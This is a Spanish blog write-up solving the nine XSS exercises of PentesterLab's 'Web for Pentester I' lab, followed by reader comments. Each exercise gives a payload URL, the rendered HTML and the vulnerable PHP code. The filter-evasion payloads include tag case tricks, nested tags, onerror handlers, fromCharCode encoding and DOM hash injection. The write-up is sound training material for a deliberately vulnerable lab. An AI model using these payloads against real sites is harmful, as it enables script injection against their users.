[Pentesterlab write-up] Web For Pentester I - XSS

Una de las opciones para empezar a prepararse el OSCP o simplemente para mejorar los skills de pentesting es hacer los laboratorios de PentesterLab. Actualmente tiene disponible 20 ejercicios gratuitos con cursos e ISOS descargables para instalar las máquinas virtuales y montarte rápidamente tu lab. Además por apenas 20$ al mes tienes el acceso PRO con el que puedes descargarte el material (pdf/ePub), vídeos y tienes acceso a 19 ejercicios más con algunos labs online.

La idea es hacerlos todos, del primero al último, e ir publicando los solucionarios o write-ups de cada uno. No obstante mi recomendación es que primero intentéis solucionar cada ejercicio por vuestra cuenta, porque es la mejor manera de aprender y preparaos para poder desenvolveros solos en un entorno real o en un examen. Ya después si queréis podéis echar un vistazo al post correspondiente para ver si más o menos habéis seguido el mismo camino o no, porque imagino que muchas veces habrá más de una manera de hacer las cosas.

De cualquier forma, está muy bien tenerlos de repositorio porque cada ejercicio es tremendamente académico y seguramente iremos descubriendo nuevas vulnerabilidades y/o formas de explotar un sistema, así que ¡vamos a ello!

Primero empezaremos con los ejercicios con el nivel de dificultad más bajo, aunque más adelante es posible que demos un salto puntual y hagamos alguno más difícil antes para completar un badge (categorías en las que se clasifican algunos ejercicios por temática).

En primer lugar haremos el ejercicio 'Web for Pentester' que realmente es un compendio de las vulnerabilidades web más comunes y, si bien es para principiantes, como decíamos queremos completar todos los ejercicios y se trata de una buena base. Así que simplemente descargamos la ISO, lo arrancamos mediante una nueva VM y accedemos por el navegador al índex para empezar:


Como veis en la imagen he seleccionado con un recuadro los ejemplos de XSS, pues el lab es tan extenso que vamos a dividir este primer ejercicio en varias entradas.

En esta primera entrada sobre vulnerabilidades Cross-Site Scripting o XSS iremos avanzando por cada uno de los ejemplos y mostrando como se ve la parte del cliente antes y después de inyectar el payload válido, así como el código PHP integro del servidor para que sea lo más educativo posible.

Ejercicio 1:

En el primer ejercicio podemos inyectar cualquier código javascript para comprobar que no es validado y devuelto en la respuesta:

PAYLOAD:
http://pentesterlab/xss/example1.php?name=hacker<script>alert('Hackplayers')</script>

CLIENTE:
...
Hello 
hacker<script>alert('Hackplayers')</script>
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

SERVIDOR:
<?php require_once '../header.php'; ?>
<html>
Hello 
<?php 
    echo $_GET["name"];
?>

<?php require_once '../footer.php'; ?>


Ejercicio 2:

En el siguiente ejercicio si inyectamos el payload anterior veremos que ‘<script>’ y ‘</script>’ son filtrados:

CLIENTE1:
...
Hello 
hackeralert('vulnerable')      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

Pero basta poner una letra de cada tag en mayúsculas para evadir este débil filtro:

PAYLOAD:
http://pentesterlab/xss/example2.php?name=hacker<SCript>alert('xss')</SCript>

CLIENTE2:
...
Hello 
hacker<sCript>alert('xss')</sCript>      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

     
SERVIDOR:
<?php require_once '../header.php'; ?>
Hello 
<?php
     
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/","", $name);
    $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

Ejercicio 3:

En el siguiente ejercicio veremos que han tomado la precaución de usar el modificador ‘i’ para que el filtro sea case-insensitive, por lo que las tags serán eliminadas:

CLIENTE1:
...
Hello 
hackeralert('vulnerable')
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

Ahora bien, si se eliminan las tags que contienen ‘script’ podemos aprovechar ésto para que el filtro nos haga el trabajo:

PAYLOAD:
http://pentesterlab/xss/example3.php?name=hacker<scri<script>pt>alert('xss')</scri</script>pt>

CLIENTE2:
...
<<Hello 
hacker<script>alert('xss')</script>
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

SERVIDOR:
<?php require_once '../header.php'; ?>
Hello 
<?php
     
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/i","", $name);
    $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

<?php require_once '../footer.php'; ?>

Ejercicio 4:

El cuarto ejercicio nos devuelve sólo un error con el payload anterior:

CLIENTE1:
...
error
...

Normalmente es debido a que ya no está realizando un replace, si no que esta vez busca el patrón “script” y si lo encuentra devuelve el error (una condición if).
Pero como no todas las XSS son explotables mediante esa tag, podemos usar cualquier otro vector para ejecutar javascript, por ejemplo:

PAYLOAD:
http://pentesterlab/xss/example4.php?name=<img src='nonexistant' onerror='alert("xss")' />

CLIENTE2:
...
Hello <img src='nonexistant' onerror='alert("xss")' />      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

SERVIDOR:
<?php require_once '../header.php'; 

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?> 

Ejercicio 5:

Otra vuelta más de tuerca... volvemos a obtener error si arrastramos el payload anterior:

CLIENTE1:
...
error
...

En esta ocasión la palabra filtrada es ‘alert’ así que tenemos que sustituirla por otra función, por ejemplo eval(String.fromCharCode()) que convertirá de decimal a ASCII los caracteres necesarios evadiendo la función preg_match...

PAYLOAD:
http://pentesterlab/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

CLIENTE2:
Hello <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

SERVIDOR:
<?php require_once '../header.php'; 

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>  

Ejercicio 6:

Y ya estamos en el ejercicio 6 y como podéis imaginar en este el payload anterior tampoco es válido:

CLIENTE1:
...
Hello 
<script>
    var $a= "<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>";
</script>
          <footer>
...

Pero si os fijáis en el código anterior se duplican las tags scripts, así sólo tenemos que modificar el payload de la forma adecuada:

PAYLOAD    
http://pentesterlab/xss/example6.php?name=hacker";alert('xss');"

CLIENTE2:
...
Hello 
<script>
    var $a= "hacker";alert('xss');"";
</script>
          <footer>
    ...

SERVIDOR:
<?php require_once '../header.php'; ?>
Hello 
<script>
    var $a= "<?php  echo $_GET["name"]; ?>";
</script>
    <?php require_once '../footer.php'; ?>

Ejercicio 7:

En el ejercicio 7, vemos que se están codificando las caracteres especiales y no podemos usar la comilla doble ("). Probablemente es porque se están empezando a utilizar funciones destinadas a la protección contra XSS.

CLIENTE1:
...
Hello 
<script>
    var $a= 'hacker&quot;;alert('xss');&quot;';
</script>
    
      <footer>
....

Una de estas funciones, htmlentities, no filtra por defecto la comilla simple (al menos que se especifique con el switch ENT_QUOTES), así que la modificación del payload es trivial:

PAYLOAD:
http://pentesterlab/xss/example7.php?name=hacker';alert('xss');'

CLIENTE2:
...
Hello 
<script>
    var $a= 'hacker';alert('xss');'';
</script>
    
      <footer>
...

SERVIDOR:
<?php require_once '../header.php'; ?>
Hello 
<script>
    var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>
    
<?php require_once '../footer.php'; ?>

Ejercicio 8:

El ejercicio 8 difiere ya un poco del resto y presenta un formulario (método POST):

CLIENTE1:
...
<form action="/xss/example8.php" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

En esta ocasión utiliza la función PHP_SELF que nos permite insertar código javascript malicioso cerrando y añadiendolo posteriormente:

PAYLOAD:
http://pentesterlab/xss/example8.php/"><script>alert('xss')</script>

CLIENTE2:
...

<form action="/xss/example8.php/"><script>alert('xss')</script>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

    </div> <!-- /container -->
...

SERVIDOR:
<?php 
  require_once '../header.php'; 

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

<?php 
   
  require_once '../footer.php'; 

?>

Ejercicio 9:

El último ejercicio es un XSS basado en DOM. El javascript existente está buscando el ancla o anchor # para escribir la url dentro de la página. Podemos explotar esto poniendo el payload xss dentro de la url después del anchor.

CLIENTE1:
...
<script>
  document.write(location.hash.substring(1));
</script>
      <footer>
...

PAYLOAD:
http://pentesterlab/xss/example9.php#hacker12333<script>alert('1')</script>


CLIENTE2: 
<div class="container">
<script>
  document.write(location.hash.substring(1));
</script>hacker12333<script>alert('1')</script>
      <br />
<footer>
        © PentesterLab 2013<br />

      </footer>

    </div>

SERVIDOR:
<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

Y hasta aquí los ejercicios de XSS. Nos vemos en la siguiente entrada con un montón de ejemplos de SQLi en el lab de 'Web for Pentester' :)

 [Pentesterlab write-ups by Hackplayers] Web For Pentester I:

XSS
SQL Injections
Path traversal, LFI & RFI
Code & Commands Injection
File upload. LDAP & XML attacks

6 comentarios :

  1. Wow. Muchas gracias.Ancioso,esperando el proximo post.

    ResponderEliminar
  2. Que buena iniciativa e apoyar la realizacion de los Labs, me recuerda el inicio de los libros HXC donde se realisaban una enseñanza completa y clara. Sigue con esto ya que muchos, incluyendome, te iremos siguiendo.

    ResponderEliminar
  3. Excelente post, habría posibilidad de que para los más newbies se pudiera complementar con una breve explicación de lo que es el ataque, y quizá poner primero el código del lado del servidor para que los que vamos leyendo, nos vayamos ideando como hacerlo antes de ver la respuesta.

    ResponderEliminar
    Respuestas
    1. gracias. Tengo que obviar la explicación de cada ataque o vulnerabilidad porque si no el post sería demasiado extenso, aunque seguramente lo haré en los labs siguientes que traten de vulnerabilidades más concretas. Lo que si voy a hacer es poner el código del server primero como dices...

      Saludos,

      Eliminar
    2. Hola, el ejemplo 9 no me sale y lo estoy haciendo igual que tú... No entiendo qué ocurre. Y ciértamente aunque me saliera no entiendo por qué pones 12333 después de hacker. Luego tengo más dudas pero creo que no es lugar de hacerte tantas preguntas. Gracias.

      Eliminar
    3. hola, disculpa por haber tardado en responderte. Sospecho que el problema lo tienes en el navegador. Si estás usando Firefox este tiene cierta "protección" en DOM y concretamente la función location.hash devuelve la cadena encodeada con %:

      https://github.com/OWASP/railsgoat/issues/229

      Por lo tanto, prueba el payload del post en Google Chrome y debería funcionarte.

      pd. ten en cuenta que en un XSS basado en DOM el problema viene en gran parte debido al cliente. Existen varias herramientas para testear y detectar la presencia de este tipo de XSS. Me lo apunto y en cuanto tenga tiempo le dedico una entrada :)

      Eliminar